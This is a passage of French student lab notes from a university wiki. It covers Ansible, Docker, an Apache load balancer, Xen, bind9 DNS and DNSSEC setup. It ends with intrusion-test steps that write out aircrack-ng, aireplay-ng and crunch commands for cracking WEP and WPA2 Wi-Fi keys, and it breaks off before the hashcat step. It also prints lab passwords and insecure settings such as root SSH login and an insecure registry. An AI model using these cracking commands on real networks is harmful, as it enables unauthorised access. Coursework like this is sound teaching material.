Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed                                                                                           &lt;br /&gt;
 apt:                                                                                                                            &lt;br /&gt;
        update_cache: yes                                                                                                       &lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;                                                                                         &lt;br /&gt;
 vars:                                                                                                                           &lt;br /&gt;
        packages:                                                                                                                       &lt;br /&gt;
                - ntp                                                                                                                   &lt;br /&gt;
                - python3                                                                                                               &lt;br /&gt;
                - python3-pip                                                                                                                                                                                                                 &lt;br /&gt;
 &lt;br /&gt;
 - name: docker                                                                                                            &lt;br /&gt;
 pip:                                                                                                                            &lt;br /&gt;
         name: docker                                                                                                                                                                                                                          &lt;br /&gt;
 &lt;br /&gt;
 - name: maj ntp                                                                                                           &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                    &lt;br /&gt;
         dest: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                   &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
                                                                                                                                                                                                                           &lt;br /&gt;
 - name: maj motd                                                                                                          &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/motd&amp;quot;                                                                                                        &lt;br /&gt;
         dest: &amp;quot;/etc/motd&amp;quot;                                                                                                       &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de Capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de Chassiron via la commande ssh root@192.168.42.5&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed&lt;br /&gt;
   apt:&lt;br /&gt;
        update_cache: yes&lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
        packages:&lt;br /&gt;
                - python3&lt;br /&gt;
                - python3-pip&lt;br /&gt;
&lt;br /&gt;
Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé notre playbook pour déployer nos commandes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webserver&lt;br /&gt;
   roles:&lt;br /&gt;
          - basic&lt;br /&gt;
          - geerlingguy.docker&lt;br /&gt;
   vars:&lt;br /&gt;
         docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
         docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Création de notre conteneur ===&lt;br /&gt;
&lt;br /&gt;
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé l'image du Dockerfile :&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
Puis nous avons lancé notre container&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Plusieurs commandes nous permettent de vérifier le bon fonctionnement : &lt;br /&gt;
 docker images (Affichage des différentes images docker installées)&lt;br /&gt;
 docker ps -a (Affichage des différents containeurs en cours d'exécution)&lt;br /&gt;
&lt;br /&gt;
Nous avons pu vérifier le bon fonctionnement de celui-ci grâce à la commande suivante :&lt;br /&gt;
 curl 193.48.57.184:8085&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Après cela nous avons voulu push notre image &amp;quot;web&amp;quot; vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier &amp;quot;/etc/docker/&amp;quot; afin de ne pas utiliser une connexion sécurisée.&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
       &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.5:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier modifié nous avons pu utiliser les commandes :&lt;br /&gt;
 docker tag web 192.168.42.5:5000/webserver&lt;br /&gt;
 docker push 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
Puis coté chassiron : &lt;br /&gt;
 docker pull 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
=== Configuration de nos serveurs internes ===&lt;br /&gt;
&lt;br /&gt;
Pour voir déployer nos containeurs sur tous les serveurs disponibles sur Chassiron nous avons d'abord créé notre rôle &amp;quot;new_container&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
 - name: Create a container&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: amanite_container&lt;br /&gt;
          image: 192.168.42.5:5000/webserver_amanite&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;8085:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machines qui sont dans l'hote webservers.&lt;br /&gt;
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).&lt;br /&gt;
&lt;br /&gt;
Puis nous avons déployé notre container grâce à notre playbook :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webservers&lt;br /&gt;
   roles:&lt;br /&gt;
          - new_container&lt;br /&gt;
&lt;br /&gt;
=== Equilibreur de charge ===&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :&lt;br /&gt;
&lt;br /&gt;
 a2enmod proxy&lt;br /&gt;
 a2enmod proxy_http&lt;br /&gt;
 a2enmod proxy_balancer&lt;br /&gt;
 a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :&lt;br /&gt;
 reverse IN      CNAME   www&lt;br /&gt;
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zone pour DNSSEC ainsi que redémarrer le service bind9).&lt;br /&gt;
&lt;br /&gt;
Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;                                                                                                              &lt;br /&gt;
         ServerName reverse.amanite.site    &lt;br /&gt;
         ServerAdmin lolopierro                                                                                                                                                                                               &lt;br /&gt;
         ProxyPass / http://192.168.42.5:8085                                                                                      &lt;br /&gt;
         ProxyPassReverse / http://192.168.42.5:8085                                                                                                                                                                          &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.&lt;br /&gt;
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName reverse.amanite.site&lt;br /&gt;
         ServerAdmin lolopierro&lt;br /&gt;
         &amp;lt;Proxy &amp;quot;balancer://mycluster&amp;quot;&amp;gt;&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.5:8085&amp;quot; route=1&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.2:8085&amp;quot; route=2&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.4:8085&amp;quot; route=3&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.7:8085&amp;quot; route=4&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.9:8085&amp;quot; route=5&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.12:8085&amp;quot; route=6&lt;br /&gt;
                 ProxySet lbmethod=byrequests&lt;br /&gt;
         &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
         ProxyPass / balancer://mycluster/&lt;br /&gt;
         ProxyPassReverse / balancer://mycluster/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seule notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant ont été actualisé. Cela nous permet de bien vérifier notre loadbalancing.&lt;br /&gt;
&lt;br /&gt;
Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :&lt;br /&gt;
&lt;br /&gt;
 a2enmod status&lt;br /&gt;
&lt;br /&gt;
Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Location &amp;quot;/server-status&amp;quot;&amp;gt;&lt;br /&gt;
          SetHanlder server-status&lt;br /&gt;
          Order Allow,Deny&lt;br /&gt;
          Allow from all&lt;br /&gt;
 &amp;lt;/Location&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55091</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55091"/>
				<updated>2020-12-20T15:11:37Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Equilibreur de charge */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arrêter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utilisé hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
